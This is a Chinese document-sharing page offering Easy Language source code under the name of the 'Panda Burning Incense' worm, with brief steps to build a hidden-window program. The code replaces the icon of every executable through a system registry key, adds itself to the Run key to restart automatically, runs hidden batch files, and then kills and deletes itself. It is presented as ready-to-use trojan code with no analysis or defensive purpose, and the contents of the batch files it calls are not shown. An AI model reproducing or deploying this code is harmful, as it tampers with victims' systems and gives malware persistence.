熊猫烧香代码

2022-07-11 22:15:22 第一文档网 [ 字体：小中大 ] [

阅读： ] [

说明：文章内容仅供预览，部分内容可能不全。下载后的文档，内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的，是否完整无缺。下载word有问题请添加QQ：admin处理，感谢您的支持与谅解。

【#第一文档网# 导语】以下是®第一文档网的小编为您整理的《熊猫烧香代码》，欢迎阅读！
熊猫,烧香,代码

（1）.先创建一个窗口，里面放一个始终，把窗口可视改成“假”。；

（2）.代码如下： .版本 2

.支持库 eAPI

.子程序 __启动窗口_创建完毕

延时 (1000) ' 等待延时

提取资源文件图标 (取运行目录 () ＋ “\” ＋取执行文件名 (), 0, “C:\windows\system32\Aver.ico”, ) ' 替换系统exe图标

写注册项 (#本地机器, “SOFTWARE\Classes\exefile\DefaultIcon\”, “C:\windows\system32\Aver.ico”) ' 写到注册表键值

写注册项 (#现行用户, “Software\Microsoft\Windows\CurrentVersion\Run\” ＋取执行文件名 (), 取运行目录 () ＋ “\” ＋取执行文件名 ()) ' 写让注册表键值删除后可恢复木马实行自启动

写到文件 (取运行目录 () ＋ “\del.bat”, #del) ' 写出删除木马自身文件批处理写到文件 (取运行目录 () ＋ “\ddel.bat”, #ddel) ' 写出自动刷新系统批处理

运行 (取运行目录 () ＋ “\ddel.bat”, 假, #隐藏窗口) ' 运行自动刷新系统批处理延时 (500) ' 等待延时

运行 (“cmd /c taskkill /f /im Aver.exe”, 假, #隐藏窗口) ' 结束木马自身进程

运行 (取运行目录 () ＋ “\del.bat”, 假, #隐藏窗口) ' 写出删除木马自身文件批处理结束 ()

本文来源：https://www.dywdw.cn/c364a3086bd97f192279e984.html